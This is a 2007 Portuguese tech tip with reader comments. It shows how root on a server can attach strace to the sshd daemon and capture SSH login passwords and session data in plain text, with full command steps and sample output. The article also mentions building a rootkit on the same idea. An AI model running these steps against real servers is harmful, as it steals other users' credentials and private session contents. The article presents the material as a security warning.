Assine a Lista Dicas-L
Receba diariamente por email as dicas
de informática publicadas neste site
Para se descadastrar, clique aqui.
Sniffando o SSH com o Strace
Colaboração: Leandro Godoy
Data de Publicação: 11 de Maio de 2007
É possivel Sniffar as Conexões via SSH simplesmente escutando as chamadas System Calls do daemon SSHD. Existe um ponto de comunicação entre o SSHD e o Kernel, entre a Criptografia e a Descriptografia, em que os dados passam em Texto Plano (plain text) e este tráfego pode ser capturado com o uso do Strace.
1. Sniffando a Senha do Login:
- No servidor que está com o Server do SSH rodando descubra qual o pid do daemon sshd:
Zion:~# ps aux | grep sshd | grep -v grep root 6097 0.0 0.1 4792 1076 ? Ss 16:49 0:00 /usr/sbin/sshd
- De posse deste pid dispare o Strace (como root):
Zion:~# strace -f -p 6097 -o snif_ssh.txt &
Este comando irá logar no arquivo sniff_ssh.txt todas as chamadas do processo de pid 6097 (sshd). Uma lida no man do strace ajuda a entender e experimentar outras opções de filtragem e paãmetros. - De um outro servidor, ou para fins de teste da mesma máquina, faça um ssh
com um usuário qualquer:
godoy@Zion:~$ ssh localhost Password: textoplano Last login: Mon May 7 17:01:15 2007 from localhost.localdomain godoy@Zion:~$
- Agora analíse as saídas que foram logadas no arquivo sniff_ssh.txt, procure
pelas chamadas read ou write:
Zion:~# cat snif_ssh.txt | grep read | more 6521 write(4, \0\0\0\1\0\0\0\ntextoplano , 18 <unfinished > 6520 < read resumed> 7\0\0\0\1\0\0\0\ntextoplano , 19) = 19 6520 write(7, \0\0\0\ntextoplano , 14 <unfinished > 6522 < read resumed> \6\0\0\0\ntextoplano , 15) = 15
2. Sniffando as demais transferências de dados:
- Digite o seguinte comando, restringindo a busca as chamadas read e write:
Zion:~# strace -f -p 6097 -o snif_ssh.txt -v -e trace=read,write -s 128 &
- Teste alguns comandos no cliente:
godoy@Zion:~$ cat > teste.txt ======== OK ======= Sniffou?? ======= OK ======= godoy@Zion:~$
- Verifique o log o servidor pesquisando por write ou read:
Zion:~# cat snif_ssh.txt | grep === 6586 < read resumed> ======== OK =======\n , 4096) = 20 6586 write(1, ======== OK =======\n , 20) = 20 6586 < read resumed> ======= OK =======\n , 4096) = 19 6586 write(1, ======= OK =======\n , 19) = 19 Zion:~# cat snif_ssh.txt | grep Sniff 6586 < read resumed> Sniffou??\n , 4096) = 10 6586 write(1, Sniffou??\n , 10) = 10 Zion:~#
Como a saída do Strace é muito prolixa e pode rapidamente criar um arquivo bem grande, cabe aqui um script para filtrar melhor o log que será gravado no arquivo sniff_ssh.txt. Pode-se imaginar que é perfeitamente possível disparar tais comandos no lado do cliente!! E que também pode-se criar um rootkit que se aproveite desta comunicação de SystemCalls para pegar o tráfego entre o Servidor SSH e seus clientes. Portanto tome muito cuidado com os seus servidores SSH e coms seus clientes.Leandro Godoy Consultor de TI LPI Certified Level 2 Mandriva Instructor Certified ITIL Foundation Certified http://www.blogmind.com.br/
Veja a relação completa dos artigos de Leandro Godoy
Referências Adicionais
Referências adicionais sobre os assuntos abordados neste site podem ser encontradas em nossa Bibliografia.
Avalie esta dica
Opinião dos Leitores
09 Jun 2007, 11:14
28 Mai 2007, 13:59
11 Mai 2007, 11:41
Abraços.
11 Mai 2007, 09:35
10 Mai 2007, 18:29
10 Mai 2007, 13:39
Qual será a próxima grande notícia? Que o root pode remover qualquer arquivo e o comando rm deve ser removido do sistema?
Abraços,
Fábio
09 Mai 2007, 22:31
Minha fonte foi este mesmo paper e eu o referenciei como fonte no meu blog, no post original. Pode conferir!!
Everton,
Neste paper ensina comop fazer o mesmo processo do lado do cliente. Vale a leitura.
Antonio,
Tem que estar logado no servidor e como root.
A remoção do Strace é uma boa pedida em servidores de produção.
Abraços
www.blogmind.com.br
www.opencode.com.br
09 Mai 2007, 12:43
Testei aqui e funcionou perfeitamente, mas tem um porem, só funcionou para o usuário root, outros usuários não conseguem fazer este sniffer né?
Para que isto tivesse uma real utilização meu servidor (máquina com sshd) precisaria esta comprometido né? Do contrário isso não funcionaria...
Outra pergunta o possível fazer o mesmo na máquina cliente, ou seja capturar as informações do aplicativo ssh?
09 Mai 2007, 09:22
Segurança Wi-Fi: Quando nem SSH salva
http://brainsniffer.blogspot.com/2007/05/segurana-wi-fi-quando-nem-ssh-salva.html
A minha referencia foi John Bambenek, que escreveu um artigo interessante sobre isto em 2004:
Defeating Encryption
http://www.infosecwriters.com/texts.php?op=display&id=242
-Ronaldo
09 Mai 2007, 07:16
Desabilitar estes comandos pode ser uma saída para proteger o servidor.
Você tem alguma sugestão para aumentar a segurança?












